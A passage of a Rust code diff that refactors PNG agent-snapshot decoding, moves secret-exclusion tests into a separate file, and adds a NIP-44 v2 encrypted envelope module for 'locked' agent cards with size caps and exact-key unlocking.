a PNG, without interpreting it. The payload may be a +/// plain manifest or a locked envelope — callers dispatch on the parsed +/// `format` via `agent_snapshot_envelope::parse_chunk_payload`. +pub(crate) fn extract_chunk_payload_png(png_bytes: &[u8]) -> Result, String> { let decoder = Decoder::new(Cursor::new(png_bytes)); let reader = decoder .read_info() @@ -349,10 +365,18 @@ pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result { .map(|c| c.text.as_str()) .ok_or_else(|| "PNG does not contain a buzz_agent_snapshot tEXt chunk".to_string())?; - let json_bytes = STANDARD + STANDARD .decode(chunk_text.trim()) - .map_err(|e| format!("Invalid base64 in PNG chunk: {e}"))?; + .map_err(|e| format!("Invalid base64 in PNG chunk: {e}")) +} +/// Decode a manifest from a `.agent.png` tEXt chunk. +/// +/// Plain snapshots only — a locked (encrypted) chunk payload fails here with +/// the manifest format error. Import paths that must handle locked cards go +/// through `agent_snapshot_envelope::parse_chunk_payload` instead. +pub fn decode_snapshot_png(png_bytes: &[u8]) -> Result { + let json_bytes = extract_chunk_payload_png(png_bytes)?; decode_snapshot_json(&json_bytes) } @@ -473,527 +497,5 @@ fn inject_text_chunk(png_bytes: &[u8], keyword: &str, text: &str) -> Result ManagedAgentRecord { - ManagedAgentRecord { - pubkey: "deadbeef".to_string(), - name: "Test Agent".to_string(), - display_name: Some("Test Agent Display".to_string()), - persona_id: Some("SENTINEL_PERSONA_ID".to_string()), // MUST NOT appear in snapshot - team_id: Some("SENTINEL_TEAM_ID".to_string()), // MUST NOT appear in snapshot - private_key_nsec: "nsec1secret".to_string(), // MUST NOT appear in snapshot - auth_tag: Some("auth-tag-secret".to_string()), // MUST NOT appear in snapshot - relay_url: "wss://relay.example.com".to_string(), // MUST NOT appear in snapshot - avatar_url: Some("https://example.com/avatar.png".to_string()), - acp_command: "/usr/local/bin/acp".to_string(), // MUST NOT appear in snapshot - agent_command: "goose".to_string(), // MUST NOT appear in snapshot - agent_command_override: Some("goose-override".to_string()), // MUST NOT appear - agent_args: vec!["--arg".to_string()], // MUST NOT appear in snapshot - mcp_command: "mcp-server".to_string(), // MUST NOT appear in snapshot - turn_timeout_seconds: 120, // deprecated, MUST NOT appear - idle_timeout_seconds: Some(30), - max_turn_duration_seconds: Some(600), - parallelism: 2, - system_prompt: Some("You are a test agent.".to_string()), - model: Some("claude-opus-4".to_string()), - provider: Some("anthropic".to_string()), - persona_source_version: Some("v1.0".to_string()), // MUST NOT appear - env_vars: { - let mut m = BTreeMap::new(); - m.insert("API_KEY".to_string(), "secret123".to_string()); // MUST NOT appear - m - }, - start_on_app_launch: true, - auto_restart_on_config_change: true, - runtime_pid: Some(12345), // MUST NOT appear - backend: BackendKind::Provider { - // MUST NOT appear — carries a provider secret - id: "SENTINEL_BACKEND_ID".to_string(), - config: serde_json::json!({"api_key": "SENTINEL_BACKEND_SECRET"}), - }, - backend_agent_id: Some("SENTINEL_BACKEND_AGENT_ID".to_string()), // MUST NOT appear - provider_binary_path: Some("/usr/bin/SENTINEL_PROVIDER_BINARY".to_string()), // MUST NOT appear - persona_team_dir: Some(std::path::PathBuf::from("SENTINEL_TEAM_DIR")), // MUST NOT appear - persona_name_in_team: Some("SENTINEL_NAME_IN_TEAM".to_string()), // MUST NOT appear - created_at: "2024-01-01T00:00:00Z".to_string(), - updated_at: "2024-01-02T00:00:00Z".to_string(), - last_started_at: Some("2024-01-03T00:00:00Z".to_string()), // MUST NOT appear - last_stopped_at: None, - last_exit_code: Some(0), // MUST NOT appear - last_error: Some("SENTINEL_LAST_ERROR".to_string()), // MUST NOT appear - last_error_code: Some(42), // MUST NOT appear - respond_to: RespondTo::default(), - respond_to_allowlist: vec!["pubkey1hex".to_string()], - slug: Some("test-agent".to_string()), - runtime: Some("goose".to_string()), - name_pool: vec!["Alice".to_string(), "Bob".to_string()], - is_builtin: false, - is_active: true, - shared: false, - source_team: Some("team-id-123".to_string()), // MUST NOT appear - source_team_persona_slug: Some("lep".to_string()), // MUST NOT appear - definition_respond_to: Some("allowlist".to_string()), - catalog_source: None, - definition_respond_to_allowlist: vec!["abc123def".to_string()], - definition_parallelism: Some(4), - relay_mesh: None, - } - } - - // ── Round-trip tests ────────────────────────────────────────────────────── - - #[test] - fn json_round_trip_config_only() { - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); - let bytes = encode_snapshot_json(&snapshot).unwrap(); - let parsed = decode_snapshot_json(&bytes).unwrap(); - assert_eq!(parsed, snapshot); - } - - #[test] - fn json_round_trip_with_memory() { - let record = minimal_record(); - let entries = vec![ - AgentSnapshotMemoryEntry { - slug: "core".to_string(), - body: "I am a test agent.".to_string(), - }, - AgentSnapshotMemoryEntry { - slug: "mem/research".to_string(), - body: "Some research notes.".to_string(), - }, - ]; - let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None); - let bytes = encode_snapshot_json(&snapshot).unwrap(); - let parsed = decode_snapshot_json(&bytes).unwrap(); - assert_eq!(parsed, snapshot); - } - - #[test] - fn png_round_trip_no_memory() { - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); - let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); - let parsed = decode_snapshot_png(&png_bytes).unwrap(); - assert_eq!(parsed.definition.name, snapshot.definition.name); - assert_eq!(parsed.profile.display_name, snapshot.profile.display_name); - assert_eq!(parsed.memory.level, MemoryLevel::None); - } - - #[test] - fn png_round_trip_with_avatar_png() { - // Build a minimal PNG avatar. - let avatar = make_png_with_text("dummy", "value").unwrap(); - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&avatar)); - // Avatar should be inlined as a data URL. - assert!(snapshot - .profile - .avatar_data_url - .as_deref() - .unwrap_or("") - .starts_with("data:image/png;base64,")); - - let png_bytes = encode_snapshot_png(&snapshot, Some(&avatar)).unwrap(); - let parsed = decode_snapshot_png(&png_bytes).unwrap(); - assert_eq!(parsed.definition.name, snapshot.definition.name); - } - - #[test] - fn png_snapshot_transcodes_jpeg_avatar_into_image_body() { - let avatar = image::DynamicImage::ImageRgb8(image::RgbImage::from_pixel( - 3, - 2, - image::Rgb([0x12, 0x34, 0x56]), - )); - let mut jpeg_bytes = Vec::new(); - avatar - .write_to(&mut Cursor::new(&mut jpeg_bytes), image::ImageFormat::Jpeg) - .unwrap(); - - let snapshot = build_snapshot( - &minimal_record(), - MemoryLevel::None, - vec![], - Some(&jpeg_bytes), - ); - let png_bytes = encode_snapshot_png(&snapshot, Some(&jpeg_bytes)).unwrap(); - let decoder = Decoder::new(Cursor::new(png_bytes)); - let reader = decoder.read_info().unwrap(); - - assert_eq!((reader.info().width, reader.info().height), (3, 2)); - } - - // ── PNG memory parity ───────────────────────────────────────────────────── - - #[test] - fn png_round_trip_with_core_memory() { - let record = minimal_record(); - let entries = vec![AgentSnapshotMemoryEntry { - slug: "core".to_string(), - body: "remember this".to_string(), - }]; - let snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None); - - let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); - let parsed = decode_snapshot_png(&png_bytes).unwrap(); - - assert_eq!(parsed.memory, snapshot.memory); - } - - #[test] - fn png_round_trip_with_everything_memory() { - let record = minimal_record(); - let entries = vec![ - AgentSnapshotMemoryEntry { - slug: "core".to_string(), - body: "remember this".to_string(), - }, - AgentSnapshotMemoryEntry { - slug: "mem/notes".to_string(), - body: "private notes".to_string(), - }, - ]; - let snapshot = build_snapshot(&record, MemoryLevel::Everything, entries, None); - - let png_bytes = encode_snapshot_png(&snapshot, None).unwrap(); - let parsed = decode_snapshot_png(&png_bytes).unwrap(); - - assert_eq!(parsed.memory, snapshot.memory); - } - - #[test] - fn png_export_with_no_memory_succeeds() { - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); - assert!(encode_snapshot_png(&snapshot, None).is_ok()); - } - - #[test] - fn png_export_rejects_none_level_with_nonempty_entries() { - // Inconsistent state: level == None but entries is non-empty. - // The encoder must reject this to prevent a memory-leak bypass. - let record = minimal_record(); - let entries = vec![AgentSnapshotMemoryEntry { - slug: "core".to_string(), - body: "leaked memory".to_string(), - }]; - // Build with entries, then override level to None in the struct. - let mut snapshot = build_snapshot(&record, MemoryLevel::Core, entries, None); - snapshot.memory.level = MemoryLevel::None; // force inconsistency - let result = encode_snapshot_png(&snapshot, None); - assert!( - result.is_err(), - "PNG encoder must reject level=None with non-empty entries" - ); - assert!( - result - .unwrap_err() - .contains("memory.level 'none' and non-empty memory entries"), - "Error must explain the malformed memory state" - ); - } - - // ── Secret exclusion tests ──────────────────────────────────────────────── - // - // These tests assert that every field in the exclusion list is absent from - // the serialized snapshot. We serialize to JSON and assert the key is NOT - // present. - - fn snapshot_json_string(record: &ManagedAgentRecord) -> String { - let snapshot = build_snapshot(record, MemoryLevel::None, vec![], None); - let bytes = encode_snapshot_json(&snapshot).unwrap(); - String::from_utf8(bytes).unwrap() - } - - #[test] - fn secret_exclusion_private_key_nsec_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("nsec1secret"), - "nsec must not appear in snapshot" - ); - assert!( - !json.contains("privateKeyNsec") && !json.contains("private_key_nsec"), - "privateKeyNsec field must not appear in snapshot" - ); - } - - #[test] - fn secret_exclusion_auth_tag_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("auth-tag-secret"), - "auth_tag value must not appear in snapshot" - ); - assert!( - !json.contains("authTag") && !json.contains("auth_tag"), - "authTag field must not appear in snapshot" - ); - } - - #[test] - fn secret_exclusion_env_vars_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("API_KEY") && !json.contains("secret123"), - "env_vars content must not appear in snapshot" - ); - assert!( - !json.contains("envVars") && !json.contains("env_vars"), - "envVars field must not appear in snapshot" - ); - } - - #[test] - fn secret_exclusion_relay_url_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("wss://relay.example.com"), - "relay_url value must not appear in snapshot" - ); - assert!( - !json.contains("relayUrl") && !json.contains("relay_url"), - "relayUrl field must not appear in snapshot" - ); - } - - #[test] - fn snapshot_omits_removed_mcp_toolsets_config() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("mcpToolsets") && !json.contains("mcp_toolsets"), - "removed MCP toolsets config must not re-enter snapshots" - ); - } - - #[test] - fn secret_exclusion_machine_commands_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - // acp_command / agent_command / agent_command_override / agent_args / mcp_command - assert!( - !json.contains("/usr/local/bin/acp"), - "acp_command path must not appear" - ); - assert!( - !json.contains("acpCommand") && !json.contains("acp_command"), - "acpCommand field must not appear" - ); - assert!( - !json.contains("agentCommand") && !json.contains("agent_command"), - "agentCommand field must not appear" - ); - assert!( - !json.contains("mcpCommand") && !json.contains("mcp_command"), - "mcpCommand field must not appear" - ); - } - - #[test] - fn secret_exclusion_runtime_state_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("runtimePid") && !json.contains("runtime_pid"), - "runtimePid must not appear" - ); - assert!( - !json.contains("backendAgentId") && !json.contains("backend_agent_id"), - "backendAgentId must not appear" - ); - assert!( - !json.contains("SENTINEL_BACKEND_AGENT_ID"), - "backendAgentId value must not appear" - ); - assert!( - !json.contains("providerBinaryPath") && !json.contains("provider_binary_path"), - "providerBinaryPath must not appear" - ); - assert!( - !json.contains("SENTINEL_PROVIDER_BINARY"), - "providerBinaryPath value must not appear" - ); - assert!( - !json.contains("lastStartedAt") && !json.contains("last_started_at"), - "lastStartedAt must not appear" - ); - assert!( - !json.contains("lastExitCode") && !json.contains("last_exit_code"), - "lastExitCode must not appear" - ); - // backend blob — neither the type tag nor provider secret must leak. - assert!( - !json.contains("\"backend\"") && !json.contains("backend"), - "backend field must not appear" - ); - assert!( - !json.contains("SENTINEL_BACKEND_ID") && !json.contains("SENTINEL_BACKEND_SECRET"), - "backend config values must not appear" - ); - // last_error / last_error_code - assert!( - !json.contains("lastError") && !json.contains("last_error"), - "lastError must not appear" - ); - assert!( - !json.contains("SENTINEL_LAST_ERROR"), - "lastError value must not appear" - ); - assert!( - !json.contains("lastErrorCode") && !json.contains("last_error_code"), - "lastErrorCode must not appear" - ); - } - - #[test] - fn secret_exclusion_lineage_ids_absent() { - let record = minimal_record(); - let json = snapshot_json_string(&record); - assert!( - !json.contains("team-id-123"), - "source_team value must not appear" - ); - assert!( - !json.contains("sourceTeam") && !json.contains("source_team"), - "sourceTeam field must not appear" - ); - assert!( - !json.contains("sourceTeamPersonaSlug"), - "sourceTeamPersonaSlug must not appear" - ); - assert!( - !json.contains("personaSourceVersion") && !json.contains("persona_source_version"), - "personaSourceVersion must not appear" - ); - // personaId - assert!( - !json.contains("personaId") && !json.contains("persona_id"), - "personaId field must not appear" - ); - assert!( - !json.contains("SENTINEL_PERSONA_ID"), - "personaId value must not appear" - ); - // teamId - assert!( - !json.contains("teamId") && !json.contains("team_id"), - "teamId field must not appear" - ); - assert!( - !json.contains("SENTINEL_TEAM_ID"), - "teamId value must not appear" - ); - // personaTeamDir - assert!( - !json.contains("personaTeamDir") && !json.contains("persona_team_dir"), - "personaTeamDir field must not appear" - ); - assert!( - !json.contains("SENTINEL_TEAM_DIR"), - "personaTeamDir value must not appear" - ); - // personaNameInTeam - assert!( - !json.contains("personaNameInTeam") && !json.contains("persona_name_in_team"), - "personaNameInTeam field must not appear" - ); - assert!( - !json.contains("SENTINEL_NAME_IN_TEAM"), - "personaNameInTeam value must not appear" - ); - } - - // ── Definition field presence tests ────────────────────────────────────── - - #[test] - fn definition_fields_present_in_snapshot() { - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); - - assert_eq!(snapshot.definition.name, "Test Agent Display"); - assert!(!snapshot.definition.source_is_builtin); - assert_eq!( - snapshot.definition.system_prompt.as_deref(), - Some("You are a test agent.") - ); - assert_eq!(snapshot.definition.runtime.as_deref(), Some("goose")); - assert_eq!(snapshot.definition.model.as_deref(), Some("claude-opus-4")); - assert_eq!(snapshot.definition.provider.as_deref(), Some("anthropic")); - assert_eq!(snapshot.definition.name_pool, vec!["Alice", "Bob"]); - // definition_respond_to maps to respond_to in the snapshot definition - assert_eq!(snapshot.definition.respond_to.as_deref(), Some("allowlist")); - // definition_respond_to_allowlist should be included - assert!(!snapshot.definition.respond_to_allowlist.is_empty()); - } - - #[test] - fn profile_fields_present_in_snapshot() { - let record = minimal_record(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], None); - assert_eq!(snapshot.profile.display_name, "Test Agent Display"); - // No bytes → should fall back to avatar_url - assert_eq!( - snapshot.profile.avatar_url.as_deref(), - Some("https://example.com/avatar.png") - ); - assert!(snapshot.profile.avatar_data_url.is_none()); - } - - #[test] - fn avatar_inlined_when_under_size_limit() { - let record = minimal_record(); - let small_png = make_png_with_text("k", "v").unwrap(); - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&small_png)); - assert!(snapshot.profile.avatar_data_url.is_some()); - assert!(snapshot.profile.avatar_url.is_none()); - } - - #[test] - fn avatar_url_fallback_when_over_size_limit() { - let mut record = minimal_record(); - record.avatar_url = Some("https://example.com/big.png".to_string()); - // Synthesize oversized avatar bytes (> 2 MB) — just a large zeroed vec. - let big_bytes = vec![0u8; MAX_AVATAR_INLINE_BYTES + 1]; - let snapshot = build_snapshot(&record, MemoryLevel::None, vec![], Some(&big_bytes)); - assert!(snapshot.profile.avatar_data_url.is_none()); - assert_eq!( - snapshot.profile.avatar_url.as_deref(), - Some("https://example.com/big.png") - ); - } - - // ── Format/version validation ───────────────────────────────────────────── - - #[test] - fn invalid_format_discriminator_is_rejected() { - let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None); - snapshot.format = "not-a-buzz-snapshot".to_string(); - let bytes = serde_json::to_vec(&snapshot).unwrap(); - let result = decode_snapshot_json(&bytes); - assert!(result.is_err()); - assert!(result.unwrap_err().contains("Unsupported snapshot format")); - } - - #[test] - fn unsupported_version_is_rejected() { - let mut snapshot = build_snapshot(&minimal_record(), MemoryLevel::None, vec![], None); - snapshot.version = 99; - let bytes = serde_json::to_vec(&snapshot).unwrap(); - let result = decode_snapshot_json(&bytes); - assert!(result.is_err()); - assert!(result.unwrap_err().contains("Unsupported snapshot version")); - } -} +#[path = "agent_snapshot_tests.rs"] +mod tests; diff --git a/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs b/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs new file mode 100644 index 0000000000..8508c27073 --- /dev/null +++ b/desktop/src-tauri/src/managed_agents/agent_snapshot_envelope.rs @@ -0,0 +1,638 @@ +//! Locked (encrypted) agent-card envelope — NIP-44 v2 over the snapshot manifest. +//! +//! A locked card carries the same `buzz_agent_snapshot` tEXt chunk as a plain +//! card, but the chunk JSON is a typed outer envelope whose ciphertext +//! decrypts to the ordinary manifest. The NIP-44 v2 conversation key is +//! symmetric over the (owner, agent) pair, so BOTH the owner's and the +//! agent's nsec decrypt the card — nobody else's does (NIP-AE's scheme). +//! +//! Wire contract (agreed with Wren, buzz-agent-trading-cards thread): +//! - Plain cards keep today's exact bytes; detection dispatches once on the +//! exact `format` discriminator and rejects unknown versions/schemes +//! rather than falling through to manifest parsing. +//! - Key lookup is exact-endpoint only: the owner identity key when its +//! pubkey equals `ownerPubkey`, or a hydrated local managed-agent record +//! whose record pubkey AND derived-secret pubkey equal `agentPubkey`. +//! No trial decryption; anything else fails closed as locked. +//! - Caps beyond the outer 10 MiB PNG gate: 65,535-byte NIP-44 plaintext +//! limit on the serialized manifest BEFORE encryption; envelope JSON and +//! ciphertext are capped before serde/base64/decrypt work; decrypted bytes +//! are capped before snapshot parsing. +//! - Decrypt/auth failures return only the locked-card refusal — never +//! partial plaintext or crypto details. + +use buzz_core_pkg::engram::NIP44_PLAINTEXT_MAX; +use nostr::nips::nip44::{self, Version}; +use nostr::{Keys, PublicKey, SecretKey}; +use serde::{Deserialize, Serialize}; + +use super::agent_snapshot::{ + decode_snapshot_json, encode_chunk_payload_png, encode_snapshot_json, AgentSnapshot, + MemoryLevel, FORMAT_DISCRIMINATOR, +}; +use super::types::ManagedAgentRecord; + +/// Discriminator for the locked envelope. Distinct from the plain manifest's +/// `buzz-agent-snapshot` so detection never guesses. +pub const LOCKED_FORMAT: &str = "buzz-agent-snapshot-encrypted"; +/// Envelope schema version this module produces and accepts. +pub const LOCKED_VERSION: u32 = 1; +/// Encryption scheme identifier this module produces and accepts. +pub const LOCKED_SCHEME: &str = "nip44-v2"; + +/// A max-size NIP-44 v2 payload (1 version + 32 nonce + 2 len + 65,536 +/// padded + 32 MAC = 65,603 bytes) base64-encodes to 87,472 chars. +/// Anything larger is rejected before base64/decrypt work. +pub const MAX_LOCKED_CIPHERTEXT_BYTES: usize = 90_000; +/// Envelope JSON = ciphertext + two pubkeys + fixed keys. Rejected before +/// typed deserialization. +pub const MAX_LOCKED_ENVELOPE_JSON_BYTES: usize = MAX_LOCKED_CIPHERTEXT_BYTES + 1024; + +/// The only error a failed unlock may surface. Deliberately says nothing +/// about which key was tried or why decryption failed. +pub const LOCKED_CARD_REFUSAL: &str = + "This card is locked to its owner and agent. Only they can import it."; + +// ── Envelope types ──────────────────────────────────────────────────────────── + +/// Typed outer envelope stored (base64 JSON) in the `buzz_agent_snapshot` +/// chunk of a locked card. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct LockedSnapshotEnvelope { + /// Always [`LOCKED_FORMAT`]. + pub format: String, + /// Always [`LOCKED_VERSION`]. + pub version: u32, + pub encryption: LockedEncryption, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct LockedEncryption { + /// Always [`LOCKED_SCHEME`]. + pub scheme: String, + /// Owner identity pubkey (64 lowercase hex). Plaintext so a decryptor + /// knows which counterparty to pair with. + pub owner_pubkey: String, + /// Agent instance pubkey (64 lowercase hex). + pub agent_pubkey: String, + /// NIP-44 v2 ciphertext (base64) of the plain manifest JSON. + pub ciphertext: String, +} + +/// Result of parsing a chunk payload: either today's plain manifest or a +/// validated locked envelope. The plain manifest is boxed because it may +/// inline a multi-KB avatar data URL, dwarfing the envelope variant. +#[derive(Debug)] +pub enum ChunkPayload { + Plain(Box), + Locked(LockedSnapshotEnvelope), +} + +/// Minimal probe used to read the `format` discriminator without building a +/// full JSON tree for large plain manifests. +#[derive(Deserialize)] +struct FormatProbe { + #[serde(default)] + format: Option, +} + +// ── Validation ──────────────────────────────────────────────────────────────── + +/// Canonical pubkey check: exactly 64 lowercase hex chars that parse as a +/// valid x-only pubkey. Lowercase is required so string comparisons against +/// record pubkeys (always `to_hex()` output) stay sound. Curve validation is +/// explicit: nostr's `PublicKey::from_hex` only decodes 32 bytes and defers +/// lift-x validation to `xonly()`, so a non-point like `"f" * 64` would +/// otherwise pass structurally and fail only at decrypt time. +pub(crate) fn parse_canonical_pubkey(field: &str, value: &str) -> Result { + if value.len() != 64 + || !value + .chars() + .all(|c| c.is_ascii_digit() || ('a'..='f').contains(&c)) + { + return Err(format!( + "Locked card envelope has a malformed {field} (expected 64 lowercase hex chars)." + )); + } + let pubkey = PublicKey::from_hex(value) + .map_err(|_| format!("Locked card envelope has an invalid {field}."))?; + pubkey + .xonly() + .map_err(|_| format!("Locked card envelope has an invalid {field} (not a curve point)."))?; + Ok(pubkey) +} + +/// Structural validation of a locked envelope: exact version + scheme, +/// canonical pubkeys, distinct endpoints, bounded ciphertext. Does no +/// key lookup or crypto. +pub fn validate_envelope( + envelope: &LockedSnapshotEnvelope, +) -> Result<(PublicKey, PublicKey), String> { + if envelope.format != LOCKED_FORMAT { + return Err(format!( + "Unsupported locked card format: {:?} (expected {LOCKED_FORMAT:?})", + envelope.format + )); + } + if envelope.version != LOCKED_VERSION { + return Err(format!( + "Unsupported locked card envelope version: {} (expected {LOCKED_VERSION})", + envelope.version + )); + } + if envelope.encryption.scheme != LOCKED_SCHEME { + return Err(format!( + "Unsupported locked card encryption scheme: {:?} (expected {LOCKED_SCHEME:?})", + envelope.encryption.scheme + )); + } + let owner = parse_canonical_pubkey("ownerPubkey", &envelope.encryption.owner_pubkey)?; + let agent = parse_canonical_pubkey("agentPubkey", &envelope.encryption.agent_pubkey)?; + if owner == agent { + return Err("Locked card envelope owner and agent pubkeys must differ.".to_string()); + } + if envelope.encryption.ciphertext.len() > MAX_LOCKED_CIPHERTEXT_BYTES { + return Err("Locked card ciphertext exceeds the maximum size.".to_string()); + } + if envelope.encryption.ciphertext.is_empty() { + return Err("Locked card ciphertext is empty.".to_string()); + } + Ok((owner, agent)) +} + +// ── Dispatch ────────────────────────────────────────────────────────────────── + +/// Parse a raw chunk payload (JSON bytes from `extract_chunk_payload_png` or +/// an `.agent.json` file) and dispatch on the exact `format` discriminator. +/// +/// - `buzz-agent-snapshot` → full plain-manifest decode + validation. +/// - `buzz-agent-snapshot-encrypted` → size caps, typed envelope parse, +/// structural validation. No decryption happens here. +/// - anything else (including missing `format`) → error, never a fall-through. +pub fn parse_chunk_payload(json_bytes: &[u8]) -> Result { + let probe: FormatProbe = + serde_json::from_slice(json_bytes).map_err(|e| format!("Invalid snapshot JSON: {e}"))?; + match probe.format.as_deref() { + Some(f) if f == FORMAT_DISCRIMINATOR => Ok(ChunkPayload::Plain(Box::new( + decode_snapshot_json(json_bytes)?, + ))), + Some(f) if f == LOCKED_FORMAT => { + // Cap the envelope JSON before typed deserialization; a locked + // envelope is small by construction (unlike plain manifests, + // which may inline a multi-MB avatar). + if json_bytes.len() > MAX_LOCKED_ENVELOPE_JSON_BYTES { + return Err("Locked card envelope exceeds the maximum size.".to_string()); + } + let envelope: LockedSnapshotEnvelope = serde_json::from_slice(json_bytes) + .map_err(|e| format!("Invalid locked card envelope: {e}"))?; + validate_envelope(&envelope)?; + Ok(ChunkPayload::Locked(envelope)) + } + Some(other) => Err(format!("Unsupported snapshot format: {other:?}")), + None => Err("Snapshot payload has no format discriminator.".to_string()), + } +} + +// ── Encrypt ─────────────────────────────────────────────────────────────────── + +/// Encrypt a snapshot manifest into a locked envelope under the NIP-44 v2 +/// conversation key for (owner secret, agent pubkey). +/// +/// Fails clearly (never silently truncates) when the serialized manifest +/// exceeds the NIP-44 plaintext limit. +pub fn encrypt_snapshot_envelope( + snapshot: &AgentSnapshot, + owner_keys: &Keys, + agent_pubkey: &PublicKey, +) -> Result { + let json_bytes = encode_snapshot_json(snapshot)?; + if json_bytes.len() > NIP44_PLAINTEXT_MAX { + return Err(format!( + "Agent manifest is too large to lock ({} bytes; the encrypted \ + format caps at {NIP44_PLAINTEXT_MAX}). Reduce the avatar size \ + or mint an unlocked card.", + json_bytes.len() + )); + } + let plaintext = std::str::from_utf8(&json_bytes) + .map_err(|e| format!("Manifest JSON was not UTF-8: {e}"))?; + let ciphertext = nip44::encrypt( + owner_keys.secret_key(), + agent_pubkey, + plaintext, + Version::V2, + ) + .map_err(|e| format!("Failed to encrypt card manifest: {e}"))?; + + Ok(LockedSnapshotEnvelope { + format: LOCKED_FORMAT.to_string(), + version: LOCKED_VERSION, + encryption: LockedEncryption { + scheme: LOCKED_SCHEME.to_string(), + owner_pubkey: owner_keys.public_key().to_hex(), + agent_pubkey: agent_pubkey.to_hex(), + ciphertext, + }, + }) +} + +/// Encode a snapshot into a LOCKED `.agent.png`: encrypt the manifest into +/// the envelope, then compose the PNG through the same chunk encoder plain +/// cards use. Mirrors `encode_snapshot_png`'s structural memory guard. +pub fn encode_locked_snapshot_png( + snapshot: &AgentSnapshot, + owner_keys: &Keys, + agent_pubkey: &PublicKey, + avatar_bytes: Option<&[u8]>, +) -> Result, String> { + if snapshot.memory.level == MemoryLevel::None && !snapshot.memory.entries.is_empty() { + return Err( + "Cannot write a snapshot with memory.level 'none' and non-empty memory entries." + .to_string(), + ); + } + let envelope = encrypt_snapshot_envelope(snapshot, owner_keys, agent_pubkey)?; + let envelope_json = serde_json::to_vec(&envelope) + .map_err(|e| format!("Failed to serialize locked card envelope: {e}"))?; + encode_chunk_payload_png(&envelope_json, avatar_bytes) +} + +// ── Decrypt ─────────────────────────────────────────────────────────────────── + +/// Exact-endpoint key resolution (no trial decryption): +/// - the owner identity secret, only when its pubkey equals `ownerPubkey`; +/// - a hydrated local managed-agent record whose record pubkey AND +/// derived-secret pubkey both equal `agentPubkey`. +/// +/// Returns `None` when neither exact endpoint exists — callers fail closed +/// with [`LOCKED_CARD_REFUSAL`]. +pub fn resolve_unlock_secret( + envelope: &LockedSnapshotEnvelope, + owner_keys: Option<&Keys>, + records: &[ManagedAgentRecord], +) -> Option { + if let Some(keys) = owner_keys { + if keys.public_key().to_hex() == envelope.encryption.owner_pubkey { + return Some(keys.secret_key().clone()); + } + } + let record = records + .iter() + .find(|r| r.pubkey == envelope.encryption.agent_pubkey)?; + let agent_keys = Keys::parse(record.private_key_nsec.trim()).ok()?; + if agent_keys.public_key().to_hex() != envelope.encryption.agent_pubkey { + return None; + } + Some(agent_keys.secret_key().clone()) +} + +/// Decrypt a validated envelope with `my_secret`, which must be one of the +/// envelope's two exact endpoints (its derived pubkey selects the +/// counterparty). Returns the decoded, validated snapshot manifest. +/// +/// Every auth/crypto failure maps to [`LOCKED_CARD_REFUSAL`] — nothing about +/// the failure mode leaks. Manifest decode errors after a successful decrypt +/// are surfaced normally (the caller proved key possession). +pub fn decrypt_envelope( + envelope: &LockedSnapshotEnvelope, + my_secret: &SecretKey, +) -> Result { + let (owner_pub, agent_pub) = validate_envelope(envelope)?; + let my_pub = Keys::new(my_secret.clone()).public_key(); + let counterparty = if my_pub == owner_pub { + agent_pub + } else if my_pub == agent_pub { + owner_pub + } else { + return Err(LOCKED_CARD_REFUSAL.to_string()); + }; + + let plaintext = nip44::decrypt(my_secret, &counterparty, &envelope.encryption.ciphertext) + .map_err(|_| LOCKED_CARD_REFUSAL.to_string())?; + if plaintext.len() > NIP44_PLAINTEXT_MAX { + return Err(LOCKED_CARD_REFUSAL.to_string()); + } + decode_snapshot_json(plaintext.as_bytes()) +} + +// ── Tests ───────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use super::*; + use crate::managed_agents::agent_snapshot::{ + extract_chunk_payload_png, AgentSnapshotDefinition, AgentSnapshotMemory, + AgentSnapshotProfile, FORMAT_VERSION, + }; + + fn sample_snapshot() -> AgentSnapshot { + AgentSnapshot { + format: FORMAT_DISCRIMINATOR.to_string(), + version: FORMAT_VERSION, + definition: AgentSnapshotDefinition { + name: "Locked Test".to_string(), + system_prompt: Some("You are a locked test agent.".to_string()), + runtime: None, + model: None, + provider: None, + parallelism: Some(1), + respond_to: None, + respond_to_allowlist: Vec::new(), + name_pool: Vec::new(), + idle_timeout_seconds: None, + max_turn_duration_seconds: None, + source_is_builtin: false, + }, + profile: AgentSnapshotProfile { + display_name: "Locked Test".to_string(), + about: None, + avatar_data_url: None, + avatar_url: None, + }, + memory: AgentSnapshotMemory { + level: MemoryLevel::None, + entries: Vec::new(), + }, + } + } + + fn owner_agent_keys() -> (Keys, Keys) { + (Keys::generate(), Keys::generate()) + } + + /// Minimal hydrated record for endpoint-resolution tests. Only the + /// pubkey/nsec pair matters here. + fn record_with_keys(pubkey: String, private_key_nsec: String) -> ManagedAgentRecord { + ManagedAgentRecord { + pubkey, + name: "Locked Test".to_string(), + persona_id: None, + private_key_nsec, + auth_tag: None, + relay_url: "ws://localhost:3000".to_string(), + avatar_url: None, + acp_command: "buzz-acp".to_string(), + agent_command: "goose".to_string(), + agent_args: vec![], + mcp_command: 